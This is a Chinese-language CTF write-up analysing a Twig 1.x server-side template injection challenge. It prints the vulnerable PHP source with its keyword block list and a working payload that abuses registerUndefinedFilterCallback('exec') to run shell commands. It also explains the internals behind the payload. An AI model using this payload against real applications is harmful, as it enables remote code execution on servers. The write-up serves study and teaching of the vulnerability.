由一道CTF赛题分析Twig SSTI利用方式

前言

在上周末刚刚结束的安恒6月赛DASCTF中,有一道web题涉及 Twig 模板注入,而两个月前的 volgactf 也涉及了同样的内容,但所使用的版本不同。本文通过CTF题的解法来分析 Twig 模板注入的利用方式

Subscribe@DASCTF

这是一道白盒代码审计题,给出的源码如下(作者注:本题目是基于Twig 1.x版本)

<?php
require_once "mail/smtp.class.php";
require_once "mail/smtp.send.php";
require_once "libs/common.func.php";
include 'vendor/twig/twig/lib/Twig/Autoloader.php';

function mailCheck($s) {
    if (preg_match('/\\\|\/|\~|&|\^|\`|\*|\?/i',$s))
    {
        alertMes('damn hacker!', './index.php');
        return false;
    }

    if (!preg_match('/libs|smtp|curl|dev|index\.php|ftp|backdoor|sh/i', $s) )
    {
        if (  preg_match_all('/@/', $s) === 1 )
        {
            $arr = explode('@',$s);
            $domain = end($arr);
            if (!preg_match('/[^a-z0-9._-]/i', $domain))
            {
                return true;
            }
        }
    }

    return false;
}

function alertMes($mes, $url)
{
    echo "<script>
            alert('{$mes}');
            location.href='{$url}';
    </script>";
    die;
}

$smtpEmailTo = $_POST['toemail'];

if (!mailCheck($smtpEmailTo))
{
    alertMes("hacker", "/index.php"); //die;
}

//为了减少邮件服务器压力,任何fuzz都请带上$_POST['test'] 请充分测试后再订阅并发邮件,如果检测到某个用户频繁无脑发邮件会被封禁。
if (isset($_POST['test']))
{
    user_are_fuzzing_and_smtp_server_wont_send_email();
    die;
}

//do not trick
Twig_Autoloader::register();
$loader = new Twig_Loader_String()
$twig = new Twig_Environment($loader);
$yourName = pos(explode( '@', $smtpEmailTo));
$content = @$twig->render($yourName);
$mailcontent = "<h1>Hello <font color=red>".$content."</font><br>Welcome to DASCTF June, Have FUN!</h1>";
$smtp = new Smtp($smtpserver, $smtpserverport, true, $smtpuser, $smtppass);
$smtp->debug = false;
$state = $smtp->sendmail($smtpEmailTo, $smtpusermail, $mailtitle, $mailContent, $mailtype);


/* flag is in flag.php */

首先我们分析本题目代码逻辑,由用户传入一个Email地址,服务器端从用户输入的Email地址中提取用户名传入Twig模板,渲染一封包含用户名的邮件发送至该Email地址。

利用点在提取用户名并渲染的逻辑中,我们可以看到 $yourname 是提取 $smtpEmailTo 中 @前面的值,既用户名,然后在 $content = @$twig->render($yourName); 中将用户名直接传入Twig 模板渲染执行。由于 $yourName 是由用户输入,完全可控。

然后我们看 mailCheck 函数中的过滤规则,两个if判断逻辑过滤了几种特殊符号和关键字,并没有过滤花括号{}和一些其他关键类名,所以我们可以构造形如 {{7*7}}@yourmail.com 的Email地址传入进行SSTI。

payload分析

本题所用payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("a=cat;b=flag.php;$a $b")}}@yourmail.com

_self

_self在Twig框架中是一个特殊全局变量,会返回当前 \Twig\Template 实例,可以继续调用实例中的方法,相关代码位src/Node/Expression/NameExpression.php

class NameExpression extends AbstractExpression
{
    protected $specialVars = [
        '_self' => '$this',
        '_context' => '$context',
        '_charset' => '$this->env->getCharset()',
    ];
    
    …………省略其他代码……………

注意因为本题目中使用Twig 1.x版本,所以此方法有效,在后续的2.x 和 3.x 版本中,这一变量只能返回当前实例名字符串

class NameExpression extends AbstractExpression
{
    private $specialVars = [
        '_self' => '$this->getTemplateName()',
        '_context' => '$context',
        '_charset' => '$this->env->getCharset()',
    ];
    
    …………省略其他代码……………

官方文档https://twig.symfony.com/doc/1.x/deprecated.html#globals

registerUndefinedFilterCallback 和 getFilter

这两个函数都位于 src/Environment.php

public function getFilter($name)
{
    if (!$this->extensionInitialized) {
        $this->initExtensions();
    }

    if (isset($this->filters[$name])) {
        return $this->filters[$name];
    }

    foreach ($this->filters as $pattern => $filter) {
        $pattern = str_replace('\\*', '(.*?)', preg_quote($pattern, '#'), $count);

        if ($count) {
            if (preg_match('#^'.$pattern.'$#', $name, $matches)) {
                array_shift($matches);
                $filter->setArguments($matches);

                return $filter;
            }
        }
    }

    foreach ($this->filterCallbacks as $callback) {
        if (false !== $filter = \call_user_func($callback, $name)) {
            return $filter;
        }
    }

    return false;
}

public function registerUndefinedFilterCallback($callable)
{
    $this->filterCallbacks[] = $callable;
}

registerUndefinedFilterCallback("exec")exec 传入到全局数组 filterCallbacks[] 中,getFilter("a=cat;b=flag.php;$a $b")"a=cat;b=flag.php;$a $b" 传入 $name

call_user_func

最终的命令执行点在foreach中的 call_user_func

image-20200630165435152

$callback 为数组中的值,此处为 exec ,所以此处 call_user_func 执行的是

call_user_func("exec", "a=cat;b=flag.php;$a $b")

达到了最终执行命令的目的

还要个邮件服务器

对于本CTF题,我们还需要通过该地址接收邮件才能看到回显的flag,而一般的邮件服务提供商基本不允许用户名中存在特殊符号,所以我们在vps上用python临时搭建一个邮件服务器,并将域名MX记录解析到vps上。这是一个python邮件服务器的简易脚本

from __future__ import print_function
from datetime import datetime
import asyncore
from smtpd import SMTPServer

class EmlServer(SMTPServer):
    no = 0
    def process_message(self, peer, mailfrom, rcpttos, data, mail_options=None,rcpt_options=None):
        filename = '%s-%d.eml' % (datetime.now().strftime('%Y%m%d%H%M%S'),
                self.no)
        f = open(filename, 'wb')
        print(data)
        f.write(data)
        f.close
        print('%s saved.' % filename)
        self.no += 1


def run():
    foo = EmlServer(('0.0.0.0', 25), None)
    try:
        asyncore.loop()
    except KeyboardInterrupt:
        pass


if __name__ == '__main__':
    run()

结语

本题是基于Twig 1.x开发,payload中所使用的_self变量在之后的版本已经弃用。在之后的文章我们将分享Twig 2.x & 3.x SSTI利用方式。

求👍求转求点在看

长按图片关注公众号

1 个赞